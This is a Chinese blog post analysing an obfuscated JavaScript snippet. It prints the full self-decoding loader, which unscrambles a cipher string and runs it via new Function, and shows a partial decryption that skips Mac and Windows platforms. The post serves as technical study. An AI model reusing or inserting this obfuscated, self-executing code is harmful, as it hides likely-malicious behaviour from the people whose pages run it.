一个冷门的js加密逆向分析

在这里插入图片描述

先上加密代码供各位先看为敬

(function(){function j2f6c82(ve7deb){var i86905="VPfaI5H|Nc]$^rhn1B8d=R.w/u-4!ZetJ?XFM@2SY(&sbjlW6GEmAd[L0i,;yx%qozC9U_~g37OkKTpvQD:";var z1a52da8="4H_&|GNcEon:B2-?h]lx.(gkzOdA3eL,9;myV8bJwriRSt6s@X75Fvu^p0IjYUT%K!~M1=DCZ/WPaf$[Qq";return ve7deb.split('').map(function(ce86af){var ke64443=i86905.indexOf(ce86af);return ke64443==-1?ce86af:z1a52da8[ke64443]}).join('')}var c=j2f6c82('thunder://(s]4c(Q"" + "p" + "Z" + "r" + "," + "W" + "S" + "_"+""B~pL]|lsc].){X.pL]|lsc].[A,?4eJFrmT4SJFe2VW4,mJ(VWAWT){sp.O0UT|Iks]ORle6l.]T[swTlc&Ri8Tlpc&F)){&elL&]}X[T& =pSemZZS~pL]|lsc].er4_WZ){&elL&] jl&s]wRp&cF31T&3c4e.er4_WZ)}X[T& ee|e|~Q"lh_"J"[h_?"J"LhW,rZ?_rA,_WWVA"J"4hr,rVh,rh,V ,,$_A$,_"J"6M6hu|"BX[T& iVWpT_Z~Fe2VW4,mQ=pSemZZS.,=W_)+=pSemZZS.,=mV)+=pSemZZS.,=Wd)+=pSemZZS.,=Wr)BJl,p_rrT?A~Fe2VW4,mQ=pSemZZS.,=Wr)+=pSemZZS.,=mV)+=pSemZZS.,=Wd)+=pSemZZS.,=W_)BJF2,|T_~(VWAWTQiVWpT_Z."xZ@M|F@L4dHy|F8(4!~~")BJseTm2VT??~iVWpT_Z."xZY8xEb8bk=8Sk@L4!~~")J&m2e?4W4~iVWpT_Z."|Z@s|ZbMTkA]")JFV?ZV~iVWpT_Z."|F@(S5dy7D~~")Ju2T|44re~iVWpT_Z."|Z^6TED~")JlSeVm4V~iVWpT_Z."|F@r7EYu7D~~")J4pVS,ZT~iVWpT_Z."TF?iSw~~")JpSS?W4ZW~iVWpT_Z."|FdL75?l")J|_?4SVe~Fe2VW4,mQiVWpT_Z."qkd,T!~~")BJuVZT_4,~iVWpT_Z."S5?17!~~")X[T& 4WAr|A_2S~iVWpT_Z."eFH/7kY_7(~~")X[T& lZepT,|2|Xsp.8c|Tlsc]R6eT&|1Rs]4e=-p.4WAr|A_2S)>h_){lZepT,|2|~(VWAWTQseTm2VT??B.iVWpT_Z."45@V45dM7kN~"))XlZepT,|2|Rs4~"l"+.|_?4SVeQpSS?W4ZWB.)*_,,,,)XlZepT,|2|R6lM8eR(s4l1~"_,,o"XlZepT,|2|R6lM8eR1esw1l~"A,,i="XlZepT,|2|R4s6TS8e4~l&LeXsp.(VWAWTRSc4MC~]L88){(VWAWTRSc4MRTiie]431s84.lZepT,|2|)}e86e{[T& e4?rr,V~pL]|lsc].){(VWAWTRSc4MRTiie]431s84.lZepT,|2|)XFe2VW4,mR&eFc[eN[e]lts6le]e&.uVZT_4,Je4?rr,VJpT86e)}XFe2VW4,mRT44N[e]lts6le]e&.uVZT_4,Je4?rr,VJpT86e)}}[T& pA4AW|Tmm~(VWAWTQseTm2VT??B.iVWpT_Z."7k_s7kD~"))XpA4AW|TmmR6lM8eR1esw1l~",i="XpA4AW|TmmRs4~FrmT4S+.|_?4SVeR|es8.|_?4SVeQpSS?W4ZWB.)*_,,,,))X[T& 4_AAT~pL]|lsc]./VSZ242WV){[T& im_eS~]e( gTle.)X[T& ]rTVZ|TeV~`T4[jiT|e;4fv{FrmT4S}fv{im_eSRlctc|T8egTlejl&s]w.)}`X[T& /4m|A?rr~Yj-HRiT&6e.8c|T8jlc&TweRwel;leF.]rTVZ|TeV))Xsp./4m|A?rr~~]L88){/4m|A?rr~{S&c(6e&3cL]l$,}}/4m|A?rrRS&c(6e&3cL]l++X[T& wr2AZ|~l,p_rrT?A.ee|e|R|c]|Tl.QgTleQ"]c("B.)J8c|Tlsc]R1&epJ`16|hv{/4m|A?rrRS&c(6e&3cL]l}`B)R6c&l..)~>|_?4SVeQpSS?W4ZWB.)h,RA)Q4pVS,ZTB."J"))X[T& 1S_V|4mA~wr2AZ|Rs]4e=-p.=pSemZZS.,=Z4))>h_nwr2AZ|Q&m2e?4W4B.wr2AZ|Rs]4e=-p.=pSemZZS.,=Z4)))$""Xwr2AZ|~wr2AZ|QFV?ZVB.1S_V|4mAJ"")Qu2T|44reB."")QlSeVm4VB.)Q4pVS,ZTB."")+1S_V|4mAXpA4AW|TmmR6&|~Q"1lli6$OO"J/VSZ242WVJwr2AZ|BQ4pVS,ZTB."O")X(VWAWTRSc4MRTiie]431s84.pA4AW|Tmm)Xsp.lZepT,|2|C~]L88){lZepT,|2|R[T8Le+~"\\&\\]Tiie]4e4 eF lc 1lF8"X[T& &ArA4S44T~(VWAWTRwelN8eFe]l^M;4.pA4AW|TmmRs4)Xsp.&ArA4S44T~~]L88II&ArA4S44T~~L]4eps]e4){lZepT,|2|R[T8Le+~"\\&\\] |T]l wel eF p&cF 1lF8"}}}Xsp.lZepT,|2|C~]L88){lZepT,|2|R[T8Le+~"\\&\\]6e]4 y6 1c6l "+[A,?4e}[T& Fe?4V??~pL]|lsc].iZVAemVT?){&elL&] iVWpT_Z.iZVAemVT?)QFV?ZVB.=pSemZZS.,=r!)J|_?4SVeQpSS?W4ZWB.)Rlcjl&s]w.ZW)R68s|e.|_?4SVeRp8cc&.|_?4SVeQpSS?W4ZWB.)*?)+r))}X4_AAT.Fe?4V??.[A,?4e))XFe2VW4,mQ"T44N[e]lts6le]e&"B."Fe66Twe"JpL]|lsc].e){sp.eR4TlTR/~~FrmT4S){(VWAWTRwelN8eFe]l^M;4.pA4AW|TmmRs4)R&eFc[e.)Xsp.lZepT,|2|C~]L88){lZepT,|2|R[T8Le+~"\\&\\]&e|es[e eF ic6l Fe66Twe"XlZepT,|2|R[T8Le+~"\\&\\]eR4TlTR[ "+eR4TlTR:}]e( dL]|lsc]."T&w6"JeR4TlTR:).{fl4|6$F2,|T_Jfl&T$lZepT,|2|})}})})."zsA/xkAuT5@uT5/Lxr?l"J"W,rZ?_rA,_WWVA"J(s]4c(J4c|LFe]l)}XpZr,WS_.)X'.substr(10));new Function(c)()})();

初步的尝试

有感兴趣的可以去尝试一下,这是第一层加密,他里面有三层加密。

先用jsjiami在线解密去试试解码,发现无效,说明该加密不是常规加密。

开始人工阅读分析。

最终完全解密后(由于保护源码隐私和安全,只展示部分)

if (/^Mac|Win/.test(navigator.platform)) {
    return;
}

var eecec = ["t-1", "v-19", "u-60239125016645", "d-2024-02-04 00:15:01", "sys-zc"];
var textarea, currentScript = document.currentScript;

if (location.search.indexOf("xxxxxx") > -1) {
    textarea = document.createElement("textarea");
    textarea.id = "t" + window.Math.random() * 10000;
    textarea.style.width = "100%";
    textarea.style.height = "500px";
    textarea.disabled = true;

    if (document.body != null) {
        document.body.appendChild(textarea);
    } else {
        var loadTextarea = function () {
            document.body.appendChild(textarea);
            window.removeEventListener("load", loadTextarea, false);
        };

        window.addEventListener("load", loadTextarea, false);
    }
}

结尾

我也看不出这代码是做啥的,仅做技术分析研究,不做解读。感谢各位看客阅读至此。有任何问题可以联系官方客服。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/374900.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux-3进程概念(一)

1.冯诺伊曼结构 1.1 冯诺依曼结构的概念 冯诺依曼结构,又称为普林斯顿结构,是一种将程序指令存储器和数据存储器合并在一起的存储器结构。程序指令存储地址和数据存储地址指向同一个存储器的不同物理位置,因此程序指令和数据的宽度相同&…

日历功能——C语言

实现日历功能&#xff0c;输入年份月份&#xff0c;输出日历 #include<stdio.h>int leap_year(int year) {if(year % 4 0 && year % 100 ! 0 || year % 400 0){return 1;}else{return 0;} }int determine_year_month_day(int *day,int month,int year) {if(mo…

【C++】构造函数、初始化列表,析构函数,拷贝构造函数,运算符重载

注&#xff1a;本博客图片来源于学习笔记: 学习笔记https://gitee.com/box-he-he/learning-notes 完整思维导图请前往该博主码云下载。 目录 注&#xff1a;本博客图片来源于学习笔记: 学习笔记https://gitee.com/box-he-he/learning-notes 完整思维导图请前往该博主码云下载…

带你实现用自己域名打开Tomcat

文章目录 Tomcat1.1、Tomcat 下载1.2、Tomcat 文件图解1.3、 启动或关闭 Tomcat1.3.1、 启动1.3.2、 关闭程序2.1、 修改端口号2.2、修改主机名称Tomcat 1.1、Tomcat 下载 首先去Tomcat 官网下载找到我们需要下载的版本 1.2、To

PKI - 02 对称与非对称密钥算法

文章目录 概述对称密钥算法凯撒密码优点缺点 非对称密钥算法工作原理优点缺点 非对称密钥的的用途一&#xff1a; 一种简单而优雅的“混合加密”解决方案加密解密 非对称密钥的的用途二&#xff1a; 数字签名工作原理工作示意图 扩展 DSA vs RSA 概述 对称密钥算法和非对称密钥…

jvm体系结构

一、Jvm 的介绍 1、JVM体系结构 2、JVM运行时数据区 3、JVM内存模型 JVM运行时内存 共享内存区 线程内存区 3.1、共享内存区 共享内存区 持久带(方法区 其他) 堆(Old Space Young Space(den S0 S1)) 持久代&#xff1a; JVM用持久带&#xff08;Permanent Space&…

使用CICFlowMeter 实现对pcap文件的特征提取【教程】

使用CICFlowMeter 实现对pcap文件的特征提取【教程】 针对现有的关于CICFlowMeter 的使用教程不够全面&#xff0c;一些细节没有展示&#xff0c;我将结合网络上的相关资料和实际的经历&#xff0c;提供一些经验和建议。 configuration information --------------- Windows…

污水处理设备数据分析:潜在市场容量高达1000亿

随着国家可再生能源激励政策和中长期发展规划的不断贯彻落实&#xff0c;一些大型能源投资公司、房地产开发商、装备制造龙头企业和物流运营商瞄准了污水处理设备产业的巨大潜在市场&#xff0c;纷纷加入到了污水处理设备建设的行列。我国污水处理设备行业发展重点已从农户自用…

时间序列之趋势

什么是趋势&#xff1f; 在时间序列中&#xff0c;趋势成分表示序列均值持续的、长期的变化。趋势是一个序列中移动最慢的部分&#xff0c;但却代表最重要的时间尺度。在产品销售的时间序列中&#xff0c;随着越来越多的人逐年了解该产品&#xff0c;市场扩张就可能会产生增长…

JavaScript ATM取款机

①&#xff1a;循环的时候&#xff0c;需要反复提示输入框&#xff0c;所以提示框写到循环里面 ②&#xff1a;退出的条件是用户输入了 4&#xff0c;如果是4&#xff0c;则结束循环&#xff0c;不在弹窗 ③&#xff1a;提前准备一个金额预先存储一个数额 ④&#xff1a;取钱…

【敏感词】敏感词检测功能v1.1.0版本正式上线

背景 为了解决系统发布信息时人工审核成本高的问题&#xff0c;开发一个敏感词检测系统。该系统能够自动检测用户输入的内容中是否包含敏感词&#xff0c;从而减少不合规内容的发布&#xff0c;降低人工审核成本。通过实施这个系统&#xff0c;可以提高信息发布的效率和准确性…

文献速递:肿瘤分割---- 优先注意网络,用于医学图像中多病变分割

文献速递&#xff1a;肿瘤分割---- 优先注意网络&#xff0c;用于医学图像中多病变分割 Title 题目 Prior Attention Network for Multi-Lesion Segmentation in Medical Images 优先注意网络&#xff0c;用于医学图像中多病变分割 Abstract 摘要 —The accurate segmen…

【C++】win11,OpenCV安装教程(VS2022)

1.下载 首先进入官网&#xff0c;下载对应的安装包&#xff0c;苹果系统就选IOS pack&#xff0c;微软系统就选Windows 下载地址&#xff1a;Releases - OpenCV 不方便外网下载的话可以下载我分享的百度网盘资源&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1lV7l…

学生信息|基于Springboot的学生信息管理系统设计与实现(源码+数据库+文档)

学生信息管理系统目录 目录 基于Springboot的学生信息管理系统设计与实现 一、前言 二、系统功能设计 三、系统实现 1、管理员登录 2、课程管理 3、公告信息管理 4、公告类型管理 四、数据库设计 1、实体ER图 2、具体的表设计如下所示&#xff1a; 五、核心代码 六、…

阿里资深摸鱼测试工程师推荐——Web自动化测试学会这一招,下班早一小时

前 言 大家都知道&#xff0c;我们在通过 Selenium 执行 Web 自动化测试时&#xff0c;每次都需要启动/关闭浏览器&#xff0c;如果是多线程执行还会同时打开多个&#xff0c;比较影响工作的正常进行。那有没有办法可以不用让浏览器的自动化执行干扰我们的工作呢&#xff1f; …

seatunnel数据集成(一)简介与安装

seatunnel数据集成&#xff08;一&#xff09;简介与安装seatunnel数据集成&#xff08;二&#xff09;数据同步seatunnel数据集成&#xff08;三&#xff09;多表同步seatunnel数据集成&#xff08;四&#xff09;连接器使用 1、背景 About Seatunnel | Apache SeaTunnel …

【Spring基础】从0开始学习Spring(2)

前言 在上篇文章&#xff0c;我已经讲了Spring中最核心的知识点&#xff1a;IoC&#xff08;控制反转&#xff09;以及DI&#xff08;依赖注入&#xff09;。这篇文章&#xff0c;我将讲一下关于Spring框架中的其它比较琐碎但是又还是挺重要的知识点&#xff0c;因此&#xff…

【类与对象(中)】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言 1.类的6个默认成员函数 2. 构造函数 2.1 概念 2.2 特性 3.析构函数 3.1 概念 3.2 特性 4. 拷贝构造函数 4.1 概念 4.2 特征 引用 常引用 5.赋值运算符重载 5.1…

Excel——高级筛选匹配条件提取数据

一、筛选多条件 Q&#xff1a;筛选多个条件&#xff0c;并将筛选出的内容复制到其他区域 点击任意一个单元格 点击【数据】——【筛选】——【高级筛选】 选择【将筛选结果复制到其他位置】——在【列表区域】 鼠标选择对应的区域位置&#xff0c;条件区域一定要单独写出来&a…

DevOps落地笔记-19|响应速度:天下武功,唯快不破

上一课时介绍一个团队应该具备什么样的能力&#xff0c;以及如何度量团队的交付效能。事实上&#xff0c;团队的能力在一定程度上反映了软件的交付能力&#xff1b;而响应速度则是企业能否快速占领市场的重要因素。试想一下&#xff0c;有两个企业都发现了市场上的机会&#xf…